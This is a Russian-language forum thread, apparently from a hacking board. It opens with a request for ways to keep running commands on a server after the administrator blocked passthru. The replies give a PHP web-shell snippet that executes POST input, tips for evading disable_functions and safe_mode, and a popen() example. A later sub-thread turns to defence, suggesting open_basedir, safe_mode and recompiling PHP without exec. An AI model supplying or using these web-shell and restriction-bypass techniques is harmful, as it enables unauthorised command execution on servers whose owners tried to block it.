Всем привет. Возник вопросик. Раньше на сервере выполнял команды таким методом : $result = passthru($_POST['cmmd']); Теперь админ пофиксил как еще можно выполнить ? OS : FreeBSD 6.3 PHP : 5.2.6 Зарание спасибо.
Непонятно, как пофиксил: if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; } echo "".passthru($_POST['cmd']).""; Тебе останется написать только html форму для скрипта ну и: http://ru2.php.net/passthru
Сперва выясни в чём заключался фикс. Было ли это запрещение одной или нескольких функций, или же на сервере включили safe_mode. Выполни phpinfo() и посмотри строчку disable_functions. Если там запрещена только функция passthru() - юзай system() или exec(). Так же обрати внимание на значение параметра safe_mode, если установлен в On, значит на сервере врубили Safe Mode - пробуй заюзать какой-либо из способов обхода Safe Mode. Инфы по этой теме дофига на том же Античате. Даже если не удастся использовать ничего из вышеперечисленного, всё равно остаётся возможность производить какие-то действия средствами чистого PHP (без использования функций операционной системы), например просмотр содержимого каталогов, просмотр , редактирование или создание файлов и т.д.
Попробуй заюзать popen(). Вот как-то так: PHP: <?php $handle = popen("uname -a", "r"); $read = fread($handle, 2096); echo $read; ?>
Теперь вопрос к админам! Как можно зашитить свой сервер ? Такая ситуация : Есть хостинг на котором 50 сайтов. Каждый может выполнить ls /home cat /etc/passwd лазить по сайтам других клиентов. Как можно ограничить выполнения команд пользовательом ??? Что-бы он немог выйти за свою директорию. Спасибо большое.
open basedir ./ safe_mode On ман по пхп.ини тебе в руки.Если ты про выполнение из пхп скриптов.Иначе- запретить доступ по ссш =)))
Перекомпилить PHP без exec(); и т.п. и поднять ssh шелл, ну собсно тоже подправленный(можно даже без cd, vim и т.п.).